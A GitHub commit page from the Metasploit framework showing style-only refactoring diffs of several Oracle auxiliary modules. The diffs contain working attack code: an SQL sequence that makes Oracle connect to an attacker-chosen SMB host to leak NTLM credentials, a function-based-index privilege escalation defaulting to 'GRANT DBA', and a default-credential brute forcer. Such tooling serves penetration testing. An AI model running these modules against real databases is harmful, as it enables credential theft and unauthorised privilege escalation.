Skip to content

Commit cd63d65

Browse files
dledda-r7dledda-r7
authored
Merge pull request rapid7#20200 from bcoles/rubocop-modules-auxiliary-admin-oracle
modules/auxiliary/admin/oracle: Resolve RuboCop violations
2 parents 53ee96f + 32c5280 commit cd63d65

File tree

12 files changed

+587
-669
lines changed

12 files changed

+587
-669
lines changed

‎modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb‎

Lines changed: 41 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -7,50 +7,59 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::ORACLE
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'Oracle SMB Relay Code Execution',
12-
'Description' => %q{
13-
This module will help you to get Administrator access to OS using an unprivileged
14-
Oracle database user (you need only CONNECT and RESOURCE privileges).
15-
To do this you must firstly run smb_sniffer or smb_relay module on your sever.
16-
Then you must connect to Oracle database and run this module Ora_NTLM_stealer.rb
17-
which will connect to your SMB sever with credentials of Oracle RDBMS.
18-
So if smb_relay is working, you will get Administrator access to server which
19-
runs Oracle. If not than you can decrypt HALFLM hash.
20-
},
21-
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
22-
'License' => MSF_LICENSE,
23-
'References' =>
24-
[
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Oracle SMB Relay Code Execution',
14+
'Description' => %q{
15+
This module will help you to get Administrator access to OS using an unprivileged
16+
Oracle database user (you need only CONNECT and RESOURCE privileges).
17+
To do this you must firstly run smb_sniffer or smb_relay module on your server.
18+
Then you must connect to Oracle database and run this module Ora_NTLM_stealer.rb
19+
which will connect to your SMB server with credentials of Oracle RDBMS.
20+
So if smb_relay is working, you will get Administrator access to server which
21+
runs Oracle. If not than you can decrypt HALFLM hash.
22+
},
23+
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
24+
'License' => MSF_LICENSE,
25+
'References' => [
2526
[ 'URL', 'http://dsecrg.com/pages/pub/show.php?id=17' ],
2627
],
27-
'DisclosureDate' => '2009-04-07'))
28+
'DisclosureDate' => '2009-04-07',
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'SideEffects' => [IOC_IN_LOGS],
32+
'Reliability' => []
33+
}
34+
)
35+
)
2836

29-
register_options(
30-
[
31-
OptString.new('IP', [ false, 'IP address of SMB proxy.', '0.0.0.0' ]),
32-
])
37+
register_options(
38+
[
39+
OptString.new('IP', [ false, 'IP address of SMB proxy.', '0.0.0.0' ]),
40+
]
41+
)
3342
end
3443

3544
def run
36-
return if not check_dependencies
45+
return if !check_dependencies
3746

38-
name1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39-
name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
40-
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
41-
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
42-
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
47+
name1 = Rex::Text.rand_text_alpha_upper(1..10)
48+
name2 = Rex::Text.rand_text_alpha_upper(1..10)
49+
rand1 = Rex::Text.rand_text_alpha_upper(1..10)
50+
rand2 = Rex::Text.rand_text_alpha_upper(1..10)
51+
rand3 = Rex::Text.rand_text_alpha_upper(1..10)
4352

44-
prepare = "CREATE TABLE #{name1} (id NUMBER PRIMARY KEY,path VARCHAR(255) UNIQUE,col_format VARCHAR(6))"
53+
prepare = "CREATE TABLE #{name1} (id NUMBER PRIMARY KEY,path VARCHAR(255) UNIQUE,col_format VARCHAR(6))"
4554
prepare1 = "INSERT INTO #{name1} VALUES (1, '\\\\#{datastore['IP']}\\SHARE', NULL)"
4655

4756
exploiting1 = "CREATE INDEX #{name2} ON #{name1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column col_format')"
4857

49-
prp = Rex::Text.encode_base64(prepare)
58+
prp = Rex::Text.encode_base64(prepare)
5059
prp1 = Rex::Text.encode_base64(prepare1)
5160
exp1 = Rex::Text.encode_base64(exploiting1)
5261

53-
sql = %Q|
62+
sql = %|
5463
DECLARE
5564
#{rand1} VARCHAR2(32767);
5665
#{rand2} VARCHAR2(32767);
@@ -66,11 +75,10 @@ def run
6675
|
6776

6877
begin
69-
print_status("Executing #{self.name}...")
78+
print_status("Executing #{name}...")
7079
prepare_exec(sql)
71-
rescue => e
72-
return
80+
rescue StandardError => e
81+
vprint_error(e.message)
7382
end
74-
7583
end
7684
end

‎modules/auxiliary/admin/oracle/oracle_index_privesc.rb‎

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -8,30 +8,38 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Exploit::ORACLE
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Oracle DB Privilege Escalation via Function-Based Index',
13-
'Description' => %q{
14-
This module will escalate an Oracle DB user to DBA by creating a
15-
function-based index on a table owned by a more-privileged user.
16-
Credits to David Litchfield for publishing the technique.
17-
},
18-
'Author' =>
19-
[
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Oracle DB Privilege Escalation via Function-Based Index',
15+
'Description' => %q{
16+
This module will escalate an Oracle DB user to DBA by creating a
17+
function-based index on a table owned by a more-privileged user.
18+
Credits to David Litchfield for publishing the technique.
19+
},
20+
'Author' => [
2021
'David Litchfield', # Vulnerability discovery and exploit
21-
'Moshe Kaplan', # Metasploit module
22+
'Moshe Kaplan', # Metasploit module
2223
],
23-
'License' => MSF_LICENSE,
24-
'References' =>
25-
[
24+
'License' => MSF_LICENSE,
25+
'References' => [
2626
[ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ],
2727
],
28-
'DisclosureDate' => '2015-01-21'))
28+
'DisclosureDate' => '2015-01-21',
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'SideEffects' => [IOC_IN_LOGS],
32+
'Reliability' => []
33+
}
34+
)
35+
)
2936

3037
register_options(
3138
[
3239
OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}" ]),
3340
OptString.new('TABLE', [ true, 'Table to create the index on.', 'SYS.DUAL' ]),
34-
])
41+
]
42+
)
3543
end
3644

3745
def run

‎modules/auxiliary/admin/oracle/oracle_login.rb‎

Lines changed: 28 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -10,28 +10,36 @@ class MetasploitModule < Msf::Auxiliary
1010
include Msf::Exploit::ORACLE
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Oracle Account Discovery',
15-
'Description' => %q{
16-
This module uses a list of well known default authentication credentials
17-
to discover easily guessed accounts.
18-
},
19-
'Author' => [ 'MC' ],
20-
'License' => MSF_LICENSE,
21-
'References' =>
22-
[
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Oracle Account Discovery',
17+
'Description' => %q{
18+
This module uses a list of well known default authentication credentials
19+
to discover easily guessed accounts.
20+
},
21+
'Author' => [ 'MC' ],
22+
'License' => MSF_LICENSE,
23+
'References' => [
2324
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],
2425
[ 'URL', 'https://seclists.org/fulldisclosure/2009/Oct/261' ],
2526
],
26-
'DisclosureDate' => '2008-11-20'))
27+
'DisclosureDate' => '2008-11-20',
28+
'Notes' => {
29+
'Stability' => [CRASH_SAFE],
30+
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
31+
'Reliability' => []
32+
}
33+
)
34+
)
2735

28-
register_options(
29-
[
30-
OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
31-
])
32-
33-
deregister_options('DBUSER','DBPASS')
36+
register_options(
37+
[
38+
OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
39+
]
40+
)
3441

42+
deregister_options('DBUSER', 'DBPASS')
3543
end
3644

3745
def report_cred(opts)
@@ -61,13 +69,13 @@ def report_cred(opts)
6169
end
6270

6371
def run
64-
return if not check_dependencies
72+
return if !check_dependencies
6573

6674
list = datastore['CSVFILE']
6775

6876
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
6977

70-
fd = CSV.foreach(list) do |brute|
78+
CSV.foreach(list) do |brute|
7179
datastore['DBUSER'] = brute[2].downcase
7280
datastore['DBPASS'] = brute[3].downcase
7381

@@ -79,7 +87,7 @@ def run
7987
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
8088
break
8189
else
82-
vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e.to_s})")
90+
vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e})")
8391
end
8492
else
8593
report_cred(

‎modules/auxiliary/admin/oracle/oracle_sql.rb‎

Lines changed: 24 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -7,29 +7,38 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::ORACLE
88

99
def initialize(info = {})
10-
super(update_info(info,
11-
'Name' => 'Oracle SQL Generic Query',
12-
'Description' => %q{
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Oracle SQL Generic Query',
14+
'Description' => %q{
1315
This module allows for simple SQL statements to be executed
1416
against an Oracle instance given the appropriate credentials
1517
and sid.
16-
},
17-
'Author' => [ 'MC' ],
18-
'License' => MSF_LICENSE,
19-
'References' =>
20-
[
18+
},
19+
'Author' => [ 'MC' ],
20+
'License' => MSF_LICENSE,
21+
'References' => [
2122
[ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],
2223
],
23-
'DisclosureDate' => '2007-12-07'))
24+
'DisclosureDate' => '2007-12-07',
25+
'Notes' => {
26+
'Stability' => [CRASH_SAFE],
27+
'SideEffects' => [IOC_IN_LOGS],
28+
'Reliability' => []
29+
}
30+
)
31+
)
2432

25-
register_options(
26-
[
27-
OptString.new('SQL', [ false, 'The SQL to execute.', 'select * from v$version']),
28-
])
33+
register_options(
34+
[
35+
OptString.new('SQL', [false, 'The SQL to execute.', 'select * from v$version']),
36+
]
37+
)
2938
end
3039

3140
def run
32-
return if not check_dependencies
41+
return if !check_dependencies
3342

3443
query = datastore['SQL']
3544

@@ -42,7 +51,7 @@ def run
4251
print_status(line)
4352
end
4453
end
45-
rescue => e
54+
rescue StandardError
4655
return
4756
end
4857
end

0 commit comments

Comments
 (0)